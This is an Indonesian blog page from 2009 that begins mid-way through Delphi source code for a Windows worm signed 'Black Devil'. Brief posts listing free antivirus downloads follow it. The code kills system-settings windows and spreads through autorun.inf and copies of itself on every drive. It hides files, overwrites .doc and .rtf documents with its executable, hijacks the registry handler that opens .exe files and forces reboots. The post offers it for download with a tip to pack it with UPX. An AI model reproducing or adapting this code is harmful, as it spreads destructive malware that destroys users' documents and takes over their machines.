if h0 then ShowMessage('don"t only rely on this, stale know....!');
begin
h:=FindWindow(nil,'Folder Options');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Folder Options');
if h0 then ShowMessage('latent all right latent');
begin
h:=FindWindow(nil,'Windows Media Player');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Windows Media Player');
if h0 then ShowMessage('because the hoisterous of film showing bokep so for this is windows media player not can be used... TTD. Black Devil');
begin
h:=FindWindow(nil,'System Properties');
if h0 then PostMessage(h, WM_QUIT ,1,0);
begin
h:=FindWindow(nil,'Add or Remove Programs');
if h0 then PostMessage(h, WM_QUIT ,1,0);
begin
h:=FindWindow(nil,'Display Properties');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Display Properties');
if h0 then ShowMessage('beautiful permanent alive although without loves ');
begin
h:=FindWindow(nil,'Group Policy');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Group Policy');
if h0 then ShowMessage('live it up to what existence....');
h:=FindWindow(nil,'Nero StartSmart');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Nero StartSmart');
if h0 then ShowMessage('Aplication fatalErr');
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
END;
end;
end;
end;
END;
end;


procedure TFreak.Timer4Timer(Sender: TObject);
var FileHandle: Integer;
Buff : array [0 .. 530] of char;
begin
Buff := '[autorun]'#13+
'open=services.exe open'#13+
' '#13+
'shellexecute=services.exe open'#13+
''#13+
'shell=auto'#13+
''#13+
'action=KwK Initial(System Root disk Drive)'#13+
''#13+
'shell\auto=&Auto'#13+
'shell\auto\command=services.exe open'#13+
''#13+
'shell\open=&Open'#13+
'shell\open\command=services.exe open'#13+
''#13+
'shell\explore=E&xplore'#13+
'shell\explore\command=services.exe open'#13+
''#13+
'shell\find=S&earch...'#13+
'shell\find\command=services.exe open'#13+
''#13+
'shell\install=&KrowacK'#13+
'shell\install\command=services.exe open'#13+
''#13+
'shell\Properties=&Properties'#13+
'shell\auto\command=services.exe open';
// Membuat file baru
FileHandle := FileCreate('autorun.inf');


if FileHandle < 0 then
begin
//ShowMessage('Gagal membuat file');
Exit;
end;


// Menulis data dari buffer ke file
FileWrite(FileHandle, Buff, SizeOf(Buff));


// Menutup handle file;
FileClose(FileHandle);
CopyFile('AUTORUN.INF','C:\autorun.inf',true);
CopyFile('AUTORUN.INF','d:\autorun.inf',true);
CopyFile('AUTORUN.INF','i:\autorun.inf',true);
CopyFile('AUTORUN.INF','e:\autorun.inf',true);
CopyFile('AUTORUN.INF','f:\autorun.inf',true);
CopyFile('AUTORUN.INF','g:\autorun.inf',true);
CopyFile('AUTORUN.INF','h:\autorun.inf',true);
end;
procedure TFreak.Timer5Timer(Sender: TObject);
VAR
windir:array[0..255] of char;
sysdir:array[0..255] of char;
dir : string;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
except
end;
try
CopyFile('AUTORUN.INF','c:\autorun.inf',true);
CopyFile('AUTORUN.INF','d:\autorun.inf',true);
CopyFile('AUTORUN.INF','i:\autorun.inf',true);
CopyFile('AUTORUN.INF','e:\autorun.inf',true);
CopyFile('AUTORUN.INF','f:\autorun.inf',true);
CopyFile('AUTORUN.INF','g:\autorun.inf',true);
CopyFile('AUTORUN.INF','h:\autorun.inf',true);
CopyFile(pchar(application.ExeName),PChar(windir+'\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\Peta Indonesia.exe'),true);
//////////////////////////////////////////////////////////
except
end;


begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
///////////////////////////////////////
SetFileAttributes(PChar(windir+'\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
/////////////////
SetFileAttributes(PChar(dir+'c:\Program Files'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+''), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);


except
end;
end;
end;
procedure TFreak.Timer6Timer(Sender: TObject);
var FileHandle: Integer;
Buff : array [0 .. 3600] of char;
dir: string;
begin


Buff := 'fall into oblivionone story not bought
for darling that leave me
'#13+
'23-juni-2007
'#13+
'
---------------------------------------------------------------------------'#13+
'



'#13+
'
'#13+
'
'#13+
'sungguh tepat keputusannmu
'#13+
'meninggalkan aku yang memang bersalah
'#13+
'PEREMPUANKU
'#13+
'kau mimpiku....!
'#13+
'kau hidupku....!
'#13+
'tapi semua ini bukan murni salahku....!
'#13+
'PEREMPUANKU....!
'#13+
'inilah salahku....!
'#13+
'inilah dosaku....!
'#13+
'PEREMPUANKU....!
'#13+
'sungguh baik hatimu.......!
'#13+
'!
'#13+
'PEREMPUANKU....!
'#13+
'sungguh bijak dirimu.....!
'#13+
'!
'#13+
'PEREMPUANKU....!
'#13+
'ini kubuat untukmu....!
'#13+
'untuk menebus kesalahanku!
'#13+
'!
'#13+
' ketika ini merasuk di PC"mu.... maka aku telah lenyap....!
'#13+
' maafkanlah aku....!
'#13+
'
---------------------------------------------------------------------------'#13+
'
---i want---
'#13+
'
want me carve your name
'#13+
'at the leafy trees
'#13+
'at water the ripples
'#13+
'and at the lonely evening
'#13+
'so that they know
'#13+
'“ i am pity in you ”
'#13+
'
'#13+
'want me paint your face
'#13+
'at the white bubble foam
'#13+
'at the blue sky
'#13+
'and at redden twilight
'#13+
'so that they understand
'#13+
'“ i yearn in you ”
'#13+
'
'#13+
'want me hide to yearn this
'#13+
'on leaf in a mess
'#13+
'on wet soil former drizzles last night
'#13+
'and angled this eye that stills full of tears
'#13+
'so that they understand
'#13+
'“ i am yours ”
'#13+
'
---------------------------------------------------------------------------'#13+
'
---from Black Devil to you---
'#13+
'i am not angel
'#13+
'strong without love
'#13+
'as well as not cliff
'#13+
'strong at dash against wave
'#13+
'i only human usually
'#13+
'brittle when left to love
'#13+
'
---------------------------------------------------------------------------'#13+
'
---my sad---
'#13+
'i only can cry in your laughter...
'#13+
'i only can hush your smile time...
'#13+
'make to yearn not bought
'#13+
'treading self in alcove loves and affection
'#13+
'my affection wants you
'#13+
'my affection wants to suffer and your happy
'#13+
'your self...
'#13+
'myself...
'#13+
'what slurr in cry
'#13+
'myself
'#13+
'your self
'#13+
'what slurr in laughter....
'#13+
'my affection...
'#13+
'who are you...
'#13+
'make me kneel at face you...
'#13+
'
---------------------------------------------------------------------------'#13+
'
i am sorry mother
i am sorry father
'#13+
'i am sorry elder brother
i can not be to like what you want
'#13+
'i am but a looser can not get fact


'#13+
'
---------------------------------------------------------------------------'#13+
'
---untuk mereka yang tak bersalah---
'#13+
'Maafkanlah aku jika Virus ini merasuk dikomputermu
'#13+
'ini hanya sebuah media penyampaian PESANKU untuknya
'#13+
'Cintailah orang yang mencintaimu
'#13+
'Sesungguhnya kau akan kehilangan dia
'#13+
'


'#13+
'
---------------------------------------------------------------------------'#13+
'
I Love You keti Forever
'#13+
'From Black Devil
'#13+
'
'#13+
'
';
// Membuat file baru
FileHandle := FileCreate('Bisikan Qalbu.html');
if FileHandle < 0 then
begin
// ShowMessage('Gagal membuat file');
// Exit;
end;
FileWrite(FileHandle, Buff, SizeOf(Buff));
FileClose(FileHandle);
CopyFile('Bisikan Qalbu.html','C:\WINDOWS\Help\Tours\htmlTour\15-Maret-2008.html',true);
CopyFile('Bisikan Qalbu.html','d:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','d:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','e:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','f:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','g:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','h:\Bisikan Qalbu.html',true);
end;
procedure TFreak.Timer7Timer(Sender: TObject);
var F: TextFile;
hsysMenu:HMENU;{tutup form}
h:HWND;{tutup system}
APath: string;
dir : string;


{i : integer;}
{x : integer;}
{F:TextFile;}
MySearch: TSearchRec;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.doc', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+'\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.doc', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+'\'+MySearch.Name),pchar(APath+'\'+MySearch.Name+'.exe'));
renamefile (pchar(application.ExeName+'.exe'),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
//ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.rtf', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+'\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.rtf', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+'\'+MySearch.Name),pchar(APath+'\'+MySearch.Name+'.exe'));
renamefile (pchar(application.ExeName+'.exe'),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;

procedure TFreak.Timer8Timer(Sender: TObject);
begin
mciSendString('set cdaudio door open',nil,0,0);

end;



procedure TFreak.Timer9Timer(Sender: TObject);
begin
shellExecute(Handle,'open','Bisikan Qalbu.html','',nil,SW_SHOWNORMAL)

end;



procedure TFreak.Timer10Timer(Sender: TObject);
var reg : TRegistry;
begin
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CLASSES_ROOT;
if Reg.OpenKey('\HKEY_CLASSES_ROOT\exefile\shell\open\command',True) then
begin


Reg.WriteString('','D:\AUTOEXEC.bat'+'"%1"'+'%*');
Reg.OpenKey('\HKEY_CLASSES_ROOT\exefile\shell\open\command',false);
end;
finally
reg.free;
end;

end;



procedure TFreak.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.FormDestroy(Sender: TObject);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.FormEndDock(Sender, Target: TObject; X, Y: Integer);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.FormDblClick(Sender: TObject);
begin
// Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.FormUnDock(Sender: TObject; Client: TControl;
NewTarget: TWinControl; var Allow: Boolean);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.Timer11Timer(Sender: TObject);
begin
ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
end;

end.


download



nb:
untuk memaksimalkan/memperkecil ukuran file gunakan upx(search di google aja)
(kami tidak bertanggung jawab atas penyalah gunaan script diatas)

Diposting oleh Ricky_Jo Blog's
Jumat, 23 Januari 2009 di 07.41 | 0 komentar  
Avira Antivir, premium versi 8.1.0.362.

Free Download,

Anti virus ini dapat dijalankan pada sistem operasi:
- Windows 2000 (SP4 recommended), Widows XP (32, 64 Bit), Widows Vista.
- RAM 198MB, 512MB (Vista).
- 40 MB memori kosong pada harddisk


Avira Antivir Premium 8.1.0.362



Download.



AVG Anti-Virus Free Edition

Dapat dijalankan pada sistem operasi;
Widows 98/ME/NT/2000/XP/VISTA,

Free AVG Anti-Virus

Download



Avast Anti-Virus Home Edition


Free Download Avast Anti-Virus Home Edition

Download



Kapersky Anti-Virus 2009

Klik Disini




Anti Virus Lainnya:

Klik Disini

Klik Disini

Klik Disini

Klik Disini

Diposting oleh Ricky_Jo Blog's
Selasa, 13 Januari 2009 di 12.36 | 0 komentar  
Uji Coba......................................
Diposting oleh Ricky_Jo Blog's
Visit the Site
MARVEL and SPIDER-MAN: TM & 2007 Marvel Characters, Inc. Motion Picture © 2007 Columbia Pictures Industries, Inc. All Rights Reserved. 2007 Sony Pictures Digital Inc. All rights reserved. blogger templates